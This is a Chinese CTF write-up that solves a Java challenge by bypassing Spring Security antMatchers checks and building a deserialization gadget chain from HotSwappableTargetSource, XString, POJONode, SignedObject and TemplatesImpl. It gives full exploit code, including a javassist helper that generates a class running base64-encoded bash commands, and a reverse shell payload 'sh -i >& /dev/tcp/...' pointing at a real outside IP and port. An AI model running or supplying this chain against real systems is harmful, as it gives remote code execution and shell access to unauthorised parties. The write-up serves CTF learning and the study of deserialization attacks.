2023浙江大学生省赛决赛 secObj

参考:https://www.yuque.com/dat0u/ctf/zticsggntervfyue (关注大头,谢谢喵

题目地址

考察知识点:

Java代码审计、Spring Security权限验证绕过、HotSwappableTargetSource绕过黑名单、SignedObject二次反序列化

搭一个原本环境可以去大头的语雀

前置知识

Spring Security 基本用法

https://www.cnblogs.com/dw3306/p/12751373.html

首先需要重写两个configure函数

1
protected void configure(AuthenticationManagerBuilder auth)

用来配置用户和对应的角色

1
protected void configure(HttpSecurity http)

用来配置URL的访问权限

antMatchers() 函数用来配置对应的URL,含有三种语法

1
2
3
? 匹配任意单个字符
* 匹配0个或多个字符
** 匹配0个或多个目录

这个地方就会存在权限绕过,例如

如果设置antMatchers("admin/*") ,只会匹配一个目录,也就是说

admin/hello 会被匹配,而admin/hello/ 则不会被匹配,导致权限绕过

这篇文章讲的更细节 https://xz.aliyun.com/t/13235

链子

这里只写链子部分;

简单分析一下代码,没什么特殊的依赖

黑名单

1
2
3
4
5
6
7
8
private static final String[] blackList = new String[]{
"AbstractTranslet",
"Templates",
"TemplatesImpl",
"javax.management",
"swing",
"awt",
"fastjson"};

那就只能打 SignedObject 二次反序列化了

SignedObject#getObject 又由谁来打

值得注意的是,这里的没有ban jackson ,那就可以用 POJONode#toString 来打,这个方法可以遍历执行对象中的所有 getter

那么由谁来触发 toString ,XString再好不过了,因为这里没ban

1
2
org.springframework.aop.target.HotSwappableTargetSource
com.sun.org.apache.xpath.internal.objects.XString

那么就可以用这个触发第二段

最后的链子为

1
2
3
4
5
6
7
8
9
java.util.HashMap#readObject(ObjectInputStream s)
java.util.HashMap#putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict)
org.springframework.aop.target.HotSwappableTargetSource#equals(Object other)
com.sun.org.apache.xpath.internal.objects.XString#equals(Object obj2)
com.fasterxml.jackson.databind.node.POJONode#toString()
java.security.SignedObject#getObject()
javax.management.BadAttributeValueExpException#readObject()
com.fasterxml.jackson.databind.node.POJONode#toString()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()

其中的 POJONode#toString() 没有该方法,所以会调用他的父类 BaseJsonNode#toString()

但是他的父类含有

1
2
3
Object writeReplace() {
return NodeSerialization.from(this);
}

如果一个序列化类中含有Object writeReplace()方法,那么实际序列化的对象将是作为writeReplace方法返回值的对象,而且序列化过程的依据是实际被序列化对象的序列化实现。

那么这个代码就会导致序列化失败,所以可以直接使用JarEditor直接注释掉,但是不建议这么做,因为太粗鲁了🥹

那么久用 javassist 做一个和他一样的类就好了,这个方法不会修改原本的代码,会修改JVM内存中的字节码,将 CtClass 对象转换成一个新的 Class 对象并加载到当前类加载器中,这段代码直接抄的大头的

1
2
3
4
5
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class Chain2 {
public static void main(String[] args) throws Exception {
// 删除 BaseJsonNode#writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

// 获取恶意字节码
byte[] bytes = Utils.getEvilPayload("sh -i >& /dev/tcp/149.88.74.46/7733 0>&1");
TemplatesImpl templates = new TemplatesImpl();
Utils.setValue(templates, "_bytecodes", new byte[][]{bytes});
Utils.setValue(templates, "_name", "aaa");
Utils.setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Utils.setValue(bad, "val", pojoNode);

// 生成公钥
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
SignedObject signedObject = new SignedObject(
bad,
keyPair.getPrivate(),
Signature.getInstance("DSA")
);

POJONode outerNode = new POJONode(signedObject);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(outerNode);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("aaa"));
HashMap hashMap = Utils.makeMap(h1 ,h2);

Utils.serialize(hashMap, "payload.ser");
}
}

Utils.serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void serialize(Object object ,String filename) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(object);
oos.close();

System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
System.out.println("====================================");


FileOutputStream fos = new FileOutputStream(filename);
barr.writeTo(fos);
fos.close();

System.out.println(barr);
}

Utils.getEvilPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static byte[] getEvilPayload(String cmd) throws Exception {
String cmdBase64 = new String(Base64.getEncoder().encode(cmd.getBytes()));

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("EvilClass");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClass);

String evilBlock = String.format(
"Runtime.getRuntime().exec(\"bash -c {echo,%s}|{base64,-d}|{bash,-i}\");",
cmdBase64);
clazz.makeClassInitializer().insertBefore(evilBlock);

return clazz.toBytecode();

}

Utils.makeMap 用做获取一个HashMap,避免直接put添加元素的时候,触发命令,导致反序列化失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);

return s;
}

然后将生成的base64去打进环境,打的时候,记得url编码一下

打进去后,返回了一个错误

1
com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"]) (through reference chain: java.security.SignedObject["object"])

查看对应的代码,

1
2
3
4
5
private transient ThreadLocal _sdom = new ThreadLocal();
...
public DOM getStylesheetDOM() {
return (DOM)_sdom.get();
}

简单来说,就是调用了 getStylesheetDOM 但是其中的 _sdom 为空,又因为该属性为 transient ,所以没办法通过反射修改这个属性

  1. transient关键字的用途
    用于在实现Serializable接口的类中标记成员变量,使该类对象在序列化和反序列化过程中忽略该成员变量的处理。

  2. transient序列化和反序列化过程中的处理方式
    在序列化过程中,transient关键字修饰的成员变量默认处理方式使直接忽略
    在反序列化过程中,transient关键字修饰的成员变量默认赋值该成员变量类型的默认值,例如int型为0,boolean为false,对象类型为null。

所以没办法通过这个方法修改

那就只能设置一个代理,对应的接口只包含 getOutputProperties() 方法的

那么就只能是 javax.xml.transform.Templates

设置代理部分 https://xz.aliyun.com/t/12846

那么将上面的组合一下

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

/**
* POJONode 的父类 BaseJsonNode,存在 toString()
* 当调用 POJONode.toString() ,
* 就会遍历 POJONode 初始化时的 Object 中的所有 getter 方法
*/
public class Chain2 {
public static void main(String[] args) throws Exception {
// 删除 BaseJsonNode#writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

// 获取恶意字节码
byte[] bytes = Utils.getEvilPayload("sh -i >& /dev/tcp/149.88.74.46/7733 0>&1");
TemplatesImpl templates = new TemplatesImpl();
Utils.setValue(templates, "_bytecodes", new byte[][]{bytes});
Utils.setValue(templates, "_name", "aaa");
Utils.setValue(templates, "_tfactory", new TransformerFactoryImpl());

// 设置动态代理
AdvisedSupport advisedSupport = new AdvisedSupport(Templates.class);
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader() ,
new Class[]{Templates.class} ,
invocationHandler);

POJONode pojoNode = new POJONode(proxy);
// 使用反射修改 val 属性,避免构造方法时触发 toString()
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Utils.setValue(bad, "val", pojoNode);

// 生成公钥
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
SignedObject signedObject = new SignedObject(
bad,
keyPair.getPrivate(),
Signature.getInstance("DSA")
);

POJONode outerNode = new POJONode(signedObject);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(outerNode);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("aaa"));
HashMap hashMap = Utils.makeMap(h1 ,h2);

Utils.serialize(hashMap, "payload.ser");


}
}

成功弹回shell,

image-20241109152950063

但是原本的题目是不出网的,那就写个内存马就完了;

赞美大头